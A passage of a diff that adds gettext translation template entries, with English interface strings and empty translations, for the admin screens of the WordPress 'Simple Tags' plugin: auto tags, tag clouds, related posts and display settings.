+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:1685
+#: /2.5/simple-tags.client.php:1751
+#: /2.7/simple-tags.client.php:1763
+msgid "Invalid Taxonomy"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.3/inc/simple-tags.admin.php:628
+#: /2.5/inc/simple-tags.admin.php:173
+#: /2.5/inc/simple-tags.admin.php:640
+#: /2.7/inc/simple-tags.admin.php:233
+#: /2.7/inc/simple-tags.admin.php:687
+msgid "Simple Tags: Manage Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.5/inc/simple-tags.admin.php:173
+#: /2.7/inc/simple-tags.admin.php:233
+msgid "Manage Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.3/inc/simple-tags.admin.php:843
+#: /2.5/inc/simple-tags.admin.php:174
+#: /2.7/inc/simple-tags.admin.php:234
+msgid "Simple Tags: Mass Edit Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.5/inc/simple-tags.admin.php:174
+#: /2.7/inc/simple-tags.admin.php:234
+msgid "Mass Edit Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.3/inc/simple-tags.admin.php:209
+#: /2.5/inc/simple-tags.admin.php:175
+#: /2.7/inc/simple-tags.admin.php:235
+msgid "Simple Tags: Auto Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.5/inc/simple-tags.admin.php:175
+#: /2.5/inc/simple-tags.admin.php:232
+#: /2.7/inc/simple-tags.admin.php:235
+#: /2.7/inc/simple-tags.admin.php:292
+msgid "Auto Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.3/inc/simple-tags.admin.php:522
+#: /2.5/inc/simple-tags.admin.php:176
+#: /2.5/inc/simple-tags.admin.php:536
+#: /2.7/inc/simple-tags.admin.php:236
+#: /2.7/inc/simple-tags.admin.php:592
+msgid "Simple Tags: Options"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.5/inc/simple-tags.admin.php:176
+#: /2.7/inc/simple-tags.admin.php:236
+msgid "Simple Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:194
+#: /2.5/inc/simple-tags.admin.php:218
+#: /2.7/inc/simple-tags.admin.php:278
+msgid "Auto tags options updated !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:210
+#: /2.3/inc/simple-tags.admin.php:523
+#: /2.3/inc/simple-tags.admin.php:629
+#: /2.3/inc/simple-tags.admin.php:844
+#: /2.5/inc/simple-tags.admin.php:641
+#: /2.7/inc/simple-tags.admin.php:688
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:214
+#: /2.5/inc/simple-tags.admin.php:237
+#: /2.7/inc/simple-tags.admin.php:297
+msgid "Auto tags list"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:215
+#: /2.5/inc/simple-tags.admin.php:238
+#: /2.7/inc/simple-tags.admin.php:298
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:219
+#: /2.5/inc/simple-tags.admin.php:247
+#: /2.7/inc/simple-tags.admin.php:307
+msgid "Active Auto Tags."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:222
+#: /2.5/inc/simple-tags.admin.php:254
+#: /2.7/inc/simple-tags.admin.php:314
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:225
+#: /2.5/inc/simple-tags.admin.php:261
+#: /2.7/inc/simple-tags.admin.php:321
+msgid "Autotag only posts without tags."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:236
+#: /2.5/inc/simple-tags.admin.php:277
+#: /2.7/inc/simple-tags.admin.php:336
+msgid "Auto tags old content"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:237
+#: /2.5/inc/simple-tags.admin.php:278
+#: /2.7/inc/simple-tags.admin.php:337
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:303
+#: /2.7/inc/simple-tags.admin.php:362
+#: /extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:303
+#: /2.7/inc/simple-tags.admin.php:362
+#: /extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:289
+#: /2.5/inc/simple-tags.admin.php:334
+#: /2.7/inc/simple-tags.admin.php:393
+msgid "Allow tag cloud in post/page content:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:290
+#: /2.5/inc/simple-tags.admin.php:335
+#: /2.7/inc/simple-tags.admin.php:394
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:291
+#: /2.5/inc/simple-tags.admin.php:336
+#: /2.7/inc/simple-tags.admin.php:407
+msgid "Active auto link tags into post content:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:292
+#: /2.5/inc/simple-tags.admin.php:337
+#: /2.7/inc/simple-tags.admin.php:408
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:293
+#: /2.5/inc/simple-tags.admin.php:338
+#: /2.7/inc/simple-tags.admin.php:409
+msgid "Min usage for auto link tags:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:294
+#: /2.5/inc/simple-tags.admin.php:339
+#: /2.7/inc/simple-tags.admin.php:410
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:295
+#: /2.5/inc/simple-tags.admin.php:340
+#: /2.7/inc/simple-tags.admin.php:413
+msgid "Ignore case for auto link feature ?"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:296
+#: /2.5/inc/simple-tags.admin.php:341
+#: /2.7/inc/simple-tags.admin.php:414
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:297
+#: /2.5/inc/simple-tags.admin.php:342
+#: /2.7/inc/simple-tags.admin.php:395
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:298
+#: /2.5/inc/simple-tags.admin.php:343
+#: /2.7/inc/simple-tags.admin.php:396
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:303
+#: /2.5/inc/simple-tags.admin.php:346
+#: /2.7/inc/simple-tags.admin.php:399
+msgid "Activate click tags feature:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:304
+#: /2.5/inc/simple-tags.admin.php:347
+#: /2.7/inc/simple-tags.admin.php:400
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:305
+#: /2.5/inc/simple-tags.admin.php:348
+#: /2.7/inc/simple-tags.admin.php:401
+msgid "Activate autocompletion feature:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:306
+#: /2.5/inc/simple-tags.admin.php:349
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:307
+#: /2.5/inc/simple-tags.admin.php:350
+#: /2.7/inc/simple-tags.admin.php:403
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:308
+#: /2.5/inc/simple-tags.admin.php:351
+#: /2.7/inc/simple-tags.admin.php:404
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:311
+#: /2.5/inc/simple-tags.admin.php:354
+#: /2.7/inc/simple-tags.admin.php:417
+msgid "Automatically include in header:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:313
+#: /2.5/inc/simple-tags.admin.php:356
+#: /2.7/inc/simple-tags.admin.php:419
+msgid "Always add these keywords:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:314
+#: /2.5/inc/simple-tags.admin.php:357
+#: /2.7/inc/simple-tags.admin.php:420
+msgid "Max keywords display:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:315
+#: /2.5/inc/simple-tags.admin.php:358
+#: /2.7/inc/simple-tags.admin.php:421
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:318
+#: /2.5/inc/simple-tags.admin.php:361
+#: /2.7/inc/simple-tags.admin.php:424
+msgid "Use embedded tags:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:319
+#: /2.5/inc/simple-tags.admin.php:362
+#: /2.7/inc/simple-tags.admin.php:425
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:320
+#: /2.5/inc/simple-tags.admin.php:363
+#: /2.7/inc/simple-tags.admin.php:426
+msgid "Prefix for embedded tags:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:321
+#: /2.5/inc/simple-tags.admin.php:364
+#: /2.7/inc/simple-tags.admin.php:427
+msgid "Suffix for embedded tags:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:324
+#: /2.5/inc/simple-tags.admin.php:367
+#: /2.7/inc/simple-tags.admin.php:430
+msgid "Automatically display tags list into feeds"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:325
+#: /2.5/inc/simple-tags.admin.php:368
+#: /2.7/inc/simple-tags.admin.php:431
+msgid "Automatically display tags list into post content:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:327
+#: /2.3/inc/simple-tags.admin.php:351
+#: /2.5/inc/simple-tags.admin.php:370
+#: /2.5/inc/simple-tags.admin.php:394
+#: /2.7/inc/simple-tags.admin.php:433
+#: /2.7/inc/simple-tags.admin.php:457
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:328
+#: /2.3/inc/simple-tags.admin.php:352
+#: /2.5/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:395
+#: /2.7/inc/simple-tags.admin.php:434
+#: /2.7/inc/simple-tags.admin.php:458
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:329
+#: /2.3/inc/simple-tags.admin.php:353
+#: /2.5/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:396
+#: /2.7/inc/simple-tags.admin.php:435
+#: /2.7/inc/simple-tags.admin.php:459
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:330
+#: /2.3/inc/simple-tags.admin.php:354
+#: /2.5/inc/simple-tags.admin.php:373
+#: /2.5/inc/simple-tags.admin.php:397
+#: /2.7/inc/simple-tags.admin.php:436
+#: /2.7/inc/simple-tags.admin.php:460
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:331
+#: /2.3/inc/simple-tags.admin.php:355
+#: /2.5/inc/simple-tags.admin.php:374
+#: /2.5/inc/simple-tags.admin.php:398
+#: /2.7/inc/simple-tags.admin.php:437
+#: /2.7/inc/simple-tags.admin.php:461
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:332
+#: /2.3/inc/simple-tags.admin.php:356
+#: /2.5/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:399
+#: /2.7/inc/simple-tags.admin.php:438
+#: /2.7/inc/simple-tags.admin.php:462
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:333
+#: /2.3/inc/simple-tags.admin.php:357
+#: /2.5/inc/simple-tags.admin.php:376
+#: /2.5/inc/simple-tags.admin.php:400
+#: /2.7/inc/simple-tags.admin.php:439
+#: /2.7/inc/simple-tags.admin.php:463
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:335
+#: /2.5/inc/simple-tags.admin.php:378
+#: /2.7/inc/simple-tags.admin.php:441
+msgid "Post tag separator string:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:336
+#: /2.5/inc/simple-tags.admin.php:379
+#: /2.7/inc/simple-tags.admin.php:442
+msgid "Text to display before tags list:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:337
+#: /2.5/inc/simple-tags.admin.php:380
+#: /2.7/inc/simple-tags.admin.php:443
+msgid "Text to display after tags list:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:338
+#: /2.5/inc/simple-tags.admin.php:381
+#: /2.7/inc/simple-tags.admin.php:444
+msgid "Max tags display:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:339
+#: /2.5/inc/simple-tags.admin.php:382
+#: /2.7/inc/simple-tags.admin.php:445
+msgid "You must set zero (0) for display all tags."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:340
+#: /2.5/inc/simple-tags.admin.php:383
+#: /2.7/inc/simple-tags.admin.php:446
+msgid "Include categories in result ?"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:341
+#: /2.3/inc/simple-tags.admin.php:448
+#: /2.5/inc/simple-tags.admin.php:384
+#: /2.5/inc/simple-tags.admin.php:491
+#: /2.7/inc/simple-tags.admin.php:447
+#: /2.7/inc/simple-tags.admin.php:554
+msgid "Tag link format:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:342
+#: /2.3/inc/simple-tags.admin.php:370
+#: /2.3/inc/simple-tags.admin.php:398
+#: /2.3/inc/simple-tags.admin.php:416
+#: /2.3/inc/simple-tags.admin.php:449
+#: /2.5/inc/simple-tags.admin.php:385
+#: /2.5/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:441
+#: /2.5/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:492
+#: /2.7/inc/simple-tags.admin.php:448
+#: /2.7/inc/simple-tags.admin.php:476
+#: /2.7/inc/simple-tags.admin.php:504
+#: /2.7/inc/simple-tags.admin.php:522
+#: /2.7/inc/simple-tags.admin.php:555
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:343
+#: /2.5/inc/simple-tags.admin.php:386
+#: /2.7/inc/simple-tags.admin.php:449
+msgid "Text to display if no tags found:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:344
+#: /2.3/inc/simple-tags.admin.php:374
+#: /2.3/inc/simple-tags.admin.php:403
+#: /2.3/inc/simple-tags.admin.php:461
+#: /2.5/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:417
+#: /2.5/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:504
+#: /2.7/inc/simple-tags.admin.php:450
+#: /2.7/inc/simple-tags.admin.php:480
+#: /2.7/inc/simple-tags.admin.php:509
+#: /2.7/inc/simple-tags.admin.php:567
+msgid "<strong>Advanced usage</strong>:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:345
+#: /2.5/inc/simple-tags.admin.php:388
+#: /2.7/inc/simple-tags.admin.php:451
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:348
+#: /2.5/inc/simple-tags.admin.php:391
+#: /2.7/inc/simple-tags.admin.php:454
+msgid "Automatically display related posts into feeds"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:349
+#: /2.5/inc/simple-tags.admin.php:392
+#: /2.7/inc/simple-tags.admin.php:455
+msgid "Automatically display related posts into post content"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:359
+#: /2.5/inc/simple-tags.admin.php:402
+#: /2.7/inc/simple-tags.admin.php:465
+msgid "Related Posts Order:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:361
+#: /2.5/inc/simple-tags.admin.php:404
+#: /2.7/inc/simple-tags.admin.php:467
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:362
+#: /2.5/inc/simple-tags.admin.php:405
+#: /2.7/inc/simple-tags.admin.php:468
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:363
+#: /2.5/inc/simple-tags.admin.php:406
+#: /2.7/inc/simple-tags.admin.php:469
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:364
+#: /2.5/inc/simple-tags.admin.php:407
+#: /2.7/inc/simple-tags.admin.php:470
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:365
+#: /2.3/inc/simple-tags.admin.php:383
+#: /2.3/inc/simple-tags.admin.php:430
+#: /2.3/inc/simple-tags.admin.php:438
+#: /2.5/inc/simple-tags.admin.php:408
+#: /2.5/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:473
+#: /2.5/inc/simple-tags.admin.php:481
+#: /2.7/inc/simple-tags.admin.php:471
+#: /2.7/inc/simple-tags.admin.php:489
+#: /2.7/inc/simple-tags.admin.php:536
+#: /2.7/inc/simple-tags.admin.php:544
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:366
+#: /2.3/inc/simple-tags.admin.php:384
+#: /2.3/inc/simple-tags.admin.php:431
+#: /2.3/inc/simple-tags.admin.php:439
+#: /2.5/inc/simple-tags.admin.php:409
+#: /2.5/inc/simple-tags.admin.php:427
+#: /2.5/inc/simple-tags.admin.php:474
+#: /2.5/inc/simple-tags.admin.php:482
+#: /2.7/inc/simple-tags.admin.php:472
+#: /2.7/inc/simple-tags.admin.php:490
+#: /2.7/inc/simple-tags.admin.php:537
+#: /2.7/inc/simple-tags.admin.php:545
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:367
+#: /2.3/inc/simple-tags.admin.php:385
+#: /2.3/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:410
+#: /2.5/inc/simple-tags.admin.php:428
+#: /2.5/inc/simple-tags.admin.php:475
+#: /2.7/inc/simple-tags.admin.php:473
+#: /2.7/inc/simple-tags.admin.php:491
+#: /2.7/inc/simple-tags.admin.php:538
+msgid "<code>random</code> &ndash; Random."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:369
+#: /2.5/inc/simple-tags.admin.php:412
+#: /2.7/inc/simple-tags.admin.php:475
+msgid "Post link format:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:414
+#: /2.7/inc/simple-tags.admin.php:477
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:415
+#: /2.7/inc/simple-tags.admin.php:478
+msgid "Enter the text to show when there is no related post:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:373
+#: /2.3/inc/simple-tags.admin.php:402
+#: /2.3/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:416
+#: /2.5/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:495
+#: /2.7/inc/simple-tags.admin.php:479
+#: /2.7/inc/simple-tags.admin.php:508
+#: /2.7/inc/simple-tags.admin.php:558
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:418
+#: /2.7/inc/simple-tags.admin.php:481
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:378
+#: /2.5/inc/simple-tags.admin.php:421
+#: /2.7/inc/simple-tags.admin.php:484
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:379
+#: /2.5/inc/simple-tags.admin.php:422
+#: /2.7/inc/simple-tags.admin.php:485
+msgid "Order related tags:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:381
+#: /2.3/inc/simple-tags.admin.php:428
+#: /2.3/inc/simple-tags.admin.php:436
+#: /2.5/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:471
+#: /2.5/inc/simple-tags.admin.php:479
+#: /2.7/inc/simple-tags.admin.php:487
+#: /2.7/inc/simple-tags.admin.php:534
+#: /2.7/inc/simple-tags.admin.php:542
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:382
+#: /2.3/inc/simple-tags.admin.php:429
+#: /2.5/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:472
+#: /2.7/inc/simple-tags.admin.php:488
+#: /2.7/inc/simple-tags.admin.php:535
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:430
+#: /2.7/inc/simple-tags.admin.php:493
+msgid "Related tags type format:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:389
+#: /2.3/inc/simple-tags.admin.php:409
+#: /2.3/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:488
+#: /2.7/inc/simple-tags.admin.php:495
+#: /2.7/inc/simple-tags.admin.php:515
+#: /2.7/inc/simple-tags.admin.php:551
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:390
+#: /2.3/inc/simple-tags.admin.php:410
+#: /2.3/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:433
+#: /2.5/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:489
+#: /2.7/inc/simple-tags.admin.php:496
+#: /2.7/inc/simple-tags.admin.php:516
+#: /2.7/inc/simple-tags.admin.php:552
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:392
+#: /2.5/inc/simple-tags.admin.php:435
+#: /2.7/inc/simple-tags.admin.php:498
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:394
+#: /2.5/inc/simple-tags.admin.php:437
+#: /2.7/inc/simple-tags.admin.php:500
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:395
+#: /2.5/inc/simple-tags.admin.php:438
+#: /2.7/inc/simple-tags.admin.php:501
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:397
+#: /2.5/inc/simple-tags.admin.php:440
+#: /2.7/inc/simple-tags.admin.php:503
+msgid "Related tags link format:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:399
+#: /2.5/inc/simple-tags.admin.php:442
+#: /2.7/inc/simple-tags.admin.php:505
+msgid "Related tags separator:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:400
+#: /2.3/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:456
+#: /2.7/inc/simple-tags.admin.php:506
+#: /2.7/inc/simple-tags.admin.php:519
+msgid "Leave empty for list format."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:401
+#: /2.5/inc/simple-tags.admin.php:444
+#: /2.7/inc/simple-tags.admin.php:507
+msgid "Enter the text to show when there is no related tags:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:404
+#: /2.5/inc/simple-tags.admin.php:447
+#: /2.7/inc/simple-tags.admin.php:510
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:406
+#: /2.5/inc/simple-tags.admin.php:449
+#: /2.7/inc/simple-tags.admin.php:512
+msgid "Remove related Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:407
+#: /2.5/inc/simple-tags.admin.php:450
+#: /2.7/inc/simple-tags.admin.php:513
+msgid "Remove related Tags type format:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:412
+#: /2.5/inc/simple-tags.admin.php:455
+#: /2.7/inc/simple-tags.admin.php:518
+msgid "Remove related tags separator:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:414
+#: /2.5/inc/simple-tags.admin.php:457
+#: /2.7/inc/simple-tags.admin.php:520
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:415
+#: /2.5/inc/simple-tags.admin.php:458
+#: /2.7/inc/simple-tags.admin.php:521
+msgid "Remove related tags  link format:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:419
+#: /2.5/inc/simple-tags.admin.php:462
+#: /2.7/inc/simple-tags.admin.php:525
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:421
+#: /2.5/inc/simple-tags.admin.php:464
+#: /2.7/inc/simple-tags.admin.php:527
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:422
+#: /2.5/inc/simple-tags.admin.php:465
+#: /2.7/inc/simple-tags.admin.php:528
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:467
